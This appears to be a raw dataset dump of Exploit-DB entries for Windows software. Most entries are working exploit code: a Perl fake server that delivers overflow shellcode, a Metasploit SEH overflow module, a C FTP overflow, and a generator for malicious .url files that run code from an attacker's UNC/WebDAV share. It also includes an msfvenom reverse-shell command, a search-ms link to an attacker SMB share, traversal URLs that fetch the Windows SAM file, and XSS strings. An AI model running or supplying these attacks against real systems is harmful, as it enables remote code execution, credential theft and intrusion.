deardaniel/secdata-raw huggingface dataset:
Exploit-DB #1374
Description: Watchfire AppScan QA 5.0.x - Remote Code Execution
Type: remote
Platform: windows
Date: 2005-12-15
Author: Mariano NuÃ±ez

Exploit:
# Watchfire AppScan QA PoC - Coded by Mariano Nuñez Di Croce @ CYBSEC
# 
# How to use:
#	1. Run this script to setup the fake web server.
#	2. Scan the server with AppScan QA, either in Interactive or Manual mode.
#	3. If you get an "You are vulnerable!" popup, you should upgrade inmediatly.
#
#	PoC developed for Windows 2000 Server SP4.
#

#!/usr/bin/perl -w

use IO::Socket::INET;

# Dissable buffering
$| = 1;

# Define 200 OK Responses
my $res200 = "HTTP/1.1 200 OK\r\nHost: www.test.com\r\nDate: Thu, 01 Nov 2005 14:38:20 GMT\r\nServer: Apache\r\nContent-Length: 26\r\nKeep-Alive: timeout=15, max=100\r\nConnection: Close\r\nContent-Type: text/html; charset=ISO-8859-1\r\n\r\n<a href='/admin'>admin</a>";

# Define the 401 Auth Required Header and Tail
my $res401Head = "HTTP/1.1 401 Authorization Required\r\nHost: www.test.com\r\nDate: Thu, 01 Nov 2005 14:43:53 GMT\r\nServer: Apache\r\nWWW-Authenticate: Basic realm=\"";

my $res401Tail = "Content-Length: 401\r\nKeep-Alive: timeout=15, max=100\r\nConnection: Close\r\nContent-Type: text/html; charset=iso-8859-1\r\n\r\n<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML2.0//EN\">\r\n<html><head>\r\n<title>401 Authorization Required</title>\r\n</head><body>\r\n<h1>Authorization Required</h1>\r\n<p>This server could not verify that you\r\nare authorized to access the document\r\nrequested.  Either you supplied the wrong\r\ncredentials (e.g., bad password), or your\r\nbrowser doesn't understand how to supply\r\nthe credentials required.</p>\r\n</body></html>";

# Ret - call ebx - in user32.dll (Windows 2000 Server SP4)
my $ret = pack("l", 0x77e11627);

my $scode = "\x31\xd2\xeb\x35\x59\x88\x51\x06\xbb\x21\x02\x59\x7c\x51\xff\xd3\xeb\x33\x59\x31\xd2\x88\x51\x0b\x51\x50\xbb\xab\x0c\x59\x7c\xff\xd3\xeb\x33\x59\x31\xd2\x88\x51\x13\x52\x51\x51\x52\xff\xd0\x31\xd2\x52\xb8\xbe\x69\x59\x7c\xff\xd0\xe8\xc6\xff\xff\xff\x75\x73\x65\x72\x33\x32\x4e\xe8\xc8\xff\xff\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x4e\xe8\xc8\xff\xff\xff\x59\x6f\x75\x20\x61\x72\x65\x20\x76\x75\x6c\x6e\x65\x72\x61\x62\x6c\x65\x21\x4e";

my $resExploit = $res401Head . "\x41"x347 . "\xeb\x06AA". $ret . $scode . "\"\r\n" . $res401Tail;

# Initialization of Fake WebServer
my $srv = IO::Socket::INET->new(LocalPort => 80,
			      	Reuse => 1, 
				Listen => 1 ) || die "Could not create socket: $!\n";

print "Waiting for connections...\n";
							
while ($cli = $srv->accept()) {
	printf "Request from %s\n", $cli->peerhost;	
	while (<$cli>) {
		if (s/(admin)/$1/) {
			# If Request is for "admin", launch the exploit 
			printf "Request for protected resource detected...launching exploit\n";		
			print $cli $resExploit;
		}
		else {
			# Else send a normal response 
			print $cli $res200;	
		}
	}
	close($cli);
}
close($srv);


# milw0rm.com [2005-12-15]
Exploit-DB #7521
Description: WebcamXP 5.3.2.375 - Remote File Disclosure
Type: remote
Platform: windows
Date: 2008-12-19
Author: nicx0

Exploit:
Directory Traversal Attack

Example:
http://XX.XX.XX.XX/..%2F..%2F..%2F..%2F..%2Fwindows/repair/sam
http://XX.XX.XX.XX/..%2F..%2F..%2F..%2F..%2Fboot.ini



-nicx0

# milw0rm.com [2008-12-19]
Exploit-DB #51765
Description: WebCatalog 48.4 - Arbitrary Protocol Execution
Type: remote
Platform: windows
Date: 2024-02-02
Author: ItsSixtyN3in

Exploit:
# Exploit Title: WebCatalog 48.4 - Arbitrary Protocol Execution
# Date: 9/27/2023
# Exploit Author: ItsSixtyN3in
# Vendor Homepage: https://webcatalog.io/en/
# Software Link: https://cdn-2.webcatalog.io/webcatalog/WebCatalog%20Setup%2052.3.0.exe
# Version: 48.4.0
# Tested on: Windows
# CVE : CVE-2023-42222

Vulnerability summary:
WebCatalog before version 48.8 calls the Electron shell.openExternal function without verifying that the URL is for an http or https resource. This vulnerability allows an attacker to potentially execute code through arbitrary protocols on the victims machine by having users sync pages with malicious URLs. The victim has to interact with the link, which can then enable an attacker to bypass security measures for malicious file delivery.

Exploit details:

-   Create a reverse shell file.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe



-   Host a reverse shell file (or otherwise) on your own SMB share using impacket (https://github.com/fortra/impacket/blob/master/examples/smbserver.py)

python3 smbserver.py Tools -smb2support



-   Have the user sync a page with the payload as a renamed link

[Friendly Link](Search-ms://query=<FileName>&crumb=location\\<attackerIP>\<attackerSMBShare>&displayname=Spoofed%20Windows%20Title)



Payload:
search-ms://query=<FileName>&crumb=location\\<attackerIP>\<attackerSMBShare>&displayname=Spoofed%20Windows%20Title

Tobias Diehl
Security Consultant
OSCP, CRTO, CEH, PenTest+, AZ-500, SC-200/300
Pronouns: he/him
e-mail:  tobias.diehl@bulletproofsi.com
Exploit-DB #52334
Description: WebDAV Windows 10 - Remote Code Execution (RCE)
Type: remote
Platform: windows
Date: 2025-06-15
Author: Dev Bui Hieu

Exploit:
Exploit Title: WebDAV Windows 10 - Remote Code Execution (RCE)
Date: June 2025
Author: Dev Bui Hieu
Tested on: Windows 10, Windows 11
Platform: Windows
Type: Remote
CVE: CVE-2025-33053

Description:
This exploit leverages the behavior of Windows .URL files to execute a
remote binary over a UNC path. When a victim opens or previews the .URL
file (e.g. from email), the system may automatically reach out to the
specified path (e.g. WebDAV or SMB share), leading to arbitrary code
execution without prompt.

```bash
python3 gen_url.py --ip 192.168.1.100 --out doc.url
```

import argparse

def generate_url_file(output_file, url_target, working_directory, icon_file, icon_index, modified):
    content = f"""[InternetShortcut]
URL={url_target}
WorkingDirectory={working_directory}
ShowCommand=7
IconIndex={icon_index}
IconFile={icon_file}
Modified={modified}
"""
    with open(output_file, "w", encoding="utf-8") as f:
        f.write(content)
    print(f"[+] .url file created: {output_file}")

def main():
    parser = argparse.ArgumentParser(description="Generate a malicious .url file (UNC/WebDAV shortcut)")
    
    parser.add_argument('--out', default="bait.url", help="Output .url file name")
    parser.add_argument('--ip', required=True, help="Attacker IP address or domain name for UNC/WebDAV path")
    parser.add_argument('--share', default="webdav", help="Shared folder name (default: webdav)")
    parser.add_argument('--exe', default=r"C:\Program Files\Internet Explorer\iediagcmd.exe",
                        help="Target executable path on victim machine")
    parser.add_argument('--icon', default=r"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe",
                        help="Icon file path")
    parser.add_argument('--index', type=int, default=13, help="Icon index (default: 13)")
    parser.add_argument('--modified', default="20F06BA06D07BD014D", help="Fake Modified timestamp (hex string)")

    args = parser.parse_args()

    working_directory = fr"\\{args.ip}\{args.share}\\"

    generate_url_file(
        output_file=args.out,
        url_target=args.exe,
        working_directory=working_directory,
        icon_file=args.icon,
        icon_index=args.index,
        modified=args.modified
    )

if __name__ == "__main__":
    main()
Exploit-DB #35006
Description: WebKit - Insufficient Entropy Random Number Generator (2)
Type: remote
Platform: windows
Date: 2010-11-18
Author: Amit Klein

Exploit:
source: https://www.securityfocus.com/bid/44952/info
 
WebKit is prone to a random-number-generator weakness.
 
Attackers can exploit this issue by enticing an unsuspecting user into visiting a malicious webpage.
 
Successful attacks will allow attackers to track user sessions and obtain personal information that can aid in further attacks.
 
NOTE: This issue was previously covered in BID 44938 (Apple Safari Prior to 5.0.3 and 4.1.3 Multiple Security Vulnerabilities) but has been given its own record to better document it.
 
<html>
<body>
<script>
document.write("userAgent: "+navigator.userAgent);
</script>
<br>
<br>
<div id="foo"></div>
<form>
<input type="button"
      value="Calculate Safari 5.0 (Windows) PRNG seed and mileage"
      onClick="calc_seed()">
</form>
<script>
function calc_seed()
{
      r1=Math.random()*Math.pow(2,32);
      r2=Math.random()*Math.pow(2,32);
      H=r1;
      L=(r2-(((H & 0xFFFF0000)>>>16) | ((H & 0x0000FFFF)<<16)))
            & 0xFFFFFFFF;
      // 10000 is just an arbitrary limit to make sure the
      // algorithm doesn't run into an endless loop on
      // non-vulnerable browsers
      for (k=0;k<10000;k++)
      {
            L=(L-H) & 0xFFFFFFFF;
            H=(H-L) & 0xFFFFFFFF;
            H=((H & 0xFFFF0000)>>>16) | ((H & 0x0000FFFF)<<16);
            if ((H^L)==0x49616E42)
            {
                  document.getElementById("foo").innerText=
                        "PRNG Seed: "+H+" "+
                        "(First page rendered: "+
                              (new Date(H*1000)).toString()+")\n"+
                        "PRNG mileage: "+k;
                  return;
            }
      }
      document.getElementById("foo").innerText=
            "Could not find seed\n"+
            "Are you sure it's Safari 5.0 for Windows?";
      return;
}
</script>
</body>
</html>
Exploit-DB #35434
Description: WebKit 1.2.x - Local Webpage Cross Domain Information Disclosure
Type: remote
Platform: windows
Date: 2011-03-09
Author: Aaron Sigel

Exploit:
source: https://www.securityfocus.com/bid/46816/info

WebKit is prone to a cross-domain scripting vulnerability because it fails to properly enforce the same-origin policy.

Successfully exploiting this issue will allow attackers to send the content of arbitrary files from the user's system to a remote server controlled by them. This results in disclosure of potentially sensitive information which may aid in further attacks. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35434.zip
Exploit-DB #20125
Description: Weblogic 3.1.8/4.0.4/4.5.1 - Remote Command Execution
Type: remote
Platform: windows
Date: 2000-08-01
Author: Foundstone Inc.

Exploit:
source: https://www.securityfocus.com/bid/1525/info

In February of 2000 CERT Coordination Center released an advisory titled "Malicious HTML Tags Embedded in Client Web Requests" (advisory attached in 'Credit' section"). This advisory was a joint release by the CERT Coordination Center, DoD-CERT, the DoD Joint Task Force for Computer Network Defense (JTF-CND), the Federal Computer Incident Response Capability (FedCIRC), and the National Infrastructure Protection Center (NIPC). The point of the advisory in essence was a warning about client side vulnerabilities brought about by malicious scripting from Rogue websites which could be exploited to run code on client side browsers (acting as unwary interpreters for the scripting in question).

A number of webserver have suffered from this problem including 'Weblogic' from BEA Systems. In this particular case if a user can upload text in the form of JSP or JHTML code to the webserver (possibly via a web form etc.) a malicious end user might execute this code.

" Assume that there is an application on the WebLogic server that writes user entered data to a file called "temp.txt".

Given below is JHTML/JSP code that will print "Hello World":

<java>out.println("Hello World");</java> (JHTML) -or-
<% out.println("Hello World"); %> (JSP)

If this code is somehow inserted in the file "temp.txt" via an application, then the following can be used to invoke forced compilation and execution of "temp.txt":

http://weblogic.site/*.jhtml/path/to/temp.txt (JHTML)
-or-

http://weblogic.site/*.jsp/path/to/temp.txt "
Exploit-DB #29843
Description: webMethods Glue 6.5.1 Console - Directory Traversal
Type: remote
Platform: windows
Date: 2007-04-11
Author: Patrick Webster

Exploit:
source: https://www.securityfocus.com/bid/23423/info

webMethods Glue is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable computer with the privileges of the affected application. Information obtained may aid in further attacks.

This issue affects webMethods Glue 6.5.1; other versions may also be vulnerable. 

http://www.example.com:8080/console?resource=../../../boot.ini
http://www.example.com:8080/console?resource=\boot.ini
http://www.example.com:8080/console?resource=c:\boot.ini
Exploit-DB #52237
Description: WebMethods Integration Server 10.15.0.0000-0092 - Improper Access on Login Page
Type: remote
Platform: windows
Date: 2025-04-16
Author: Rasime Ekici

Exploit:
# Exploit Title: WebMethods Integration Server 10.15.0.0000-0092 - Improper Access on Login Page
# Date: 25-01-2024
# Exploit Author: Rasime Ekici
# Vendor Homepage: www.softwareag.com
# Version: 10.15.0000-0092
# Tested on: 10.15.0000-0092
# CVE : 2024-23733

Description:

The /WmAdmin/,/invoke/vm.server/login login page in the Integration Server in Software AG webMethods 10.15.0 before Core Fix7 allows remote attackers to reach the administration panel,discovering server hostname and version information by sending arbitary username and blank password to the /WmAdmin/#/login/ uri

Interpret the http traffic and send a dummy username with blank password on login screen and drop the request to "/admin/navigation/license" to not logged out.Thus you may able to see:
-real hostname of the installed server
-version info
-administrative api endpoints
Exploit-DB #23411
Description: Websense Enterprise 4/5 - Blocked Sites Cross-Site Scripting
Type: remote
Platform: windows
Date: 2003-12-03
Author: Mr. P.Taylor

Exploit:
source: https://www.securityfocus.com/bid/9149/info

Websense Enterprise displays error pages for blocked sites without sufficiently sanitizing HTML and script code from the blocked site URI. This could allow for cross-site scripting attacks if a victim user visits a link to a blocked site that includes hostile HTML and script code. Exploitation could permit theft of cookie-based authentication credentials or other consequences. 

http://[BlockedSite]?<SCRIPT>alert('hello')</SCRIPT>
Exploit-DB #16802
Description: Webster HTTP Server - GET Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-11-03
Author: Metasploit

Exploit:
##
# $Id: webster_http.rb 10887 2010-11-03 12:19:19Z patrickw $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Webster HTTP Server GET Buffer Overflow',
			'Description'    => %q{
					This exploits a stack buffer overflow in the Webster HTTP server.
					The server and source code was released within an article from
					the Microsoft Systems Journal in February 1996 titled "Write a
					Simple HTTP-based Server Using MFC and Windows Sockets".
			},
			'Author'         => [ 'patrick' ],
			'Version'        => '$Revision: 10887 $',
			'References'     =>
				[
					[ 'CVE', '2002-2268' ],
					[ 'OSVDB', '44106' ],
					[ 'BID', '6289' ],
					[ 'URL', 'http://www.microsoft.com/msj/archive/s25f.aspx' ],
					[ 'URL', 'http://www.netdave.com/webster/webster.htm' ],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'       => 1024,
					'DisableNops' => true,
					'BadChars'    => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP0', 	{ 'Ret' => 0x71aa32ad } ] , # pop esi; pop ebx; ret ws2help.dll winxp
					[ 'Debug', 		{ 'Ret' => 0x44434241 } ] , # todo - add more targets.
				],
			'DisclosureDate' => 'Dec 02 2002',
			'DefaultTarget'  => 0))
	end

	def exploit
		print_status("Sending request...")
		seh = generate_seh_payload(target.ret)

		send_request_raw({
			'uri' => "/" + Rex::Text.rand_text_alphanumeric(266) + seh
		}, 2)

		handler
	end

end
Exploit-DB #23559
Description: WebTrends Reporting Center 6.1 Management Interface - Full Path Disclosure
Type: remote
Platform: windows
Date: 2004-01-20
Author: Oliver Karow

Exploit:
source: https://www.securityfocus.com/bid/9460/info

The WebTrends Reporting Center management interface discloses installation path information when an invalid argument for an interface URI parameter is requested. This information may permit an attacker to enumerate the layout of the underlying file system of the host.

This issue was reported for version 6.1a of the software running on Microsoft Windows. Other platforms and versions may also be affected.

http://www.example.com:1099/viewreport.pl?profileid=dontexist
Exploit-DB #19570
Description: WFTPD 2.34/2.40/3.0 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 1999-11-04
Author: Alberto Solino

Exploit:
source: https://www.securityfocus.com/bid/747/info
 
 
WFTPD is reported prone to a remote buffer overflow vulnerability. The issue exists due to a lack of sufficient bounds checking performed on MKD and CWD arguments. It is reported that superfluous data passed to MKD first and then to CWD results in the overflow.
 
This vulnerability may be exploited by a remote authenticate attacker to execute arbitrary code in the context of the affected service.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19570.tgz
Exploit-DB #20794
Description: WFTPD 3.0 - 'RETR' / 'CWD' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2001-04-22
Author: Len Budney

Exploit:
// source: https://www.securityfocus.com/bid/2644/info

Invalid long strings submitted using either 'RETR' or 'CWD' commands to a host running WFTPD server, will result in the service terminating due to a buffer overflow. It may be possible for an attacker to execute arbitrary code through this vulnerability.

A restart of the server is required in order to gain normal functionality.

This vulnerability has been reported to exist on systems running Windows NT 4.0 with either SP3, SP4, or SP6 installed.

The problem exists due to the interaction between WFTPD.EXE and the Windows function call 'NTDLL.DLL:RtlFreeHeap()'. 

/* WFTPD Pro 3.00 R4 Buffer Overflow exploit
   written by Len Budney
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>

#define BUFSIZE 32774
#define CMD "RETR "  /* Alt: use "CWD " and set OFFSET to 4. */
#define OFFSET 5
void main(){
        int sockfd, s;
	struct sockaddr_in victim;
        char buffer[BUFSIZE];
        char exploitbuffer[BUFSIZE]={CMD};
        char recvbuffer[BUFSIZE];

        sockfd=socket(AF_INET,SOCK_STREAM,0); if(sockfd == -1)perror("socket");
        victim.sin_family=AF_INET;
        victim.sin_addr.s_addr=inet_addr("192.168.197.129");
        victim.sin_port=htons(21);
        s=connect(sockfd, (struct sockaddr*) &victim, sizeof(victim));
        if(s == -1) perror("connect");

        recv(sockfd, recvbuffer, sizeof (recvbuffer),0);
        memset(recvbuffer, '\0',sizeof(recvbuffer));
        send(sockfd, "USER anonymous\r\n",strlen ("USER anonymous\r\n"),0);
        recv(sockfd, recvbuffer, sizeof (recvbuffer),0);
        memset(recvbuffer, '\0',sizeof(recvbuffer));
        send(sockfd, "PASS\r\n",strlen ("PASS\r\n"),0);
        recv(sockfd, recvbuffer, sizeof (recvbuffer),0);
        memset(recvbuffer, '\0',sizeof(recvbuffer));

        memset(exploitbuffer+OFFSET,0x90,sizeof (exploitbuffer)-OFFSET-2);
        sprintf(buffer,"%s\r\n",exploitbuffer);
        send(sockfd, buffer , sizeof(buffer),0);
        recv(sockfd, recvbuffer, sizeof (recvbuffer),0);

        close(sockfd);
	_exit(0);
}
Exploit-DB #20663
Description: WhitSoft SlimServe ftpd 1.0/2.0 - Directory Traversal
Type: remote
Platform: windows
Date: 2001-02-28
Author: joetesta

Exploit:
source: https://www.securityfocus.com/bid/2452/info

SlimServ FTPd is a free ftp server distributed and maintained by WhitSoft Development. SlimServe FTPd is designed to offer ftp services to the Microsoft Windows platform.

A problem with the SlimSoft FTP daemon allows remote users to traverse directories outside of the ftp root. Due to the insufficient checking of input, it is possible for a user to escape the ftp root directory by using relative paths. By requesting a directory change of "..." (three dots), it is possible to gain access to the root directory of the partition the ftp server is running on, and potentially gain access to sensitive system files.

Therefore, it is possible for a remote malicious user to gain access to sensitive system files, and potentially gain elevated privileges or privileged information.

% ftp localhost
Connected to xxxxxxxxxx.rh.rit.edu.
220-SlimServe FTPd 1.0 :: www.whitsoftdev.com.
220 127.0.0.1 connected to xxxxxxxxxx.rh.rit.edu.
User (xxxxxxxxxx.rh.rit.edu:(none)): anonymous
230 User anonymous logged in, proceed.
ftp> cd ...
250 CWD command successful.
ftp> get autoexec.bat
200 PORT command successful.
150 Opening data connection for "/.../autoexec.bat".
250 RETR command successful.
ftp: 383 bytes received in 0.16Seconds 2.39Kbytes/sec.
ftp>
Exploit-DB #25933
Description: WhitSoft SlimServe HTTPd 1.0/1.1 - Directory Traversal
Type: remote
Platform: windows
Date: 2001-03-04
Author: se00020

Exploit:
source: https://www.securityfocus.com/bid/14132/info

SlimServe HTTP server is prone to directory traversal attacks due to improper sanitization of user input.

This type of attack allows a malicious user to read files that exist outside of the Web server root directory. 

http://www.example.com/.../.../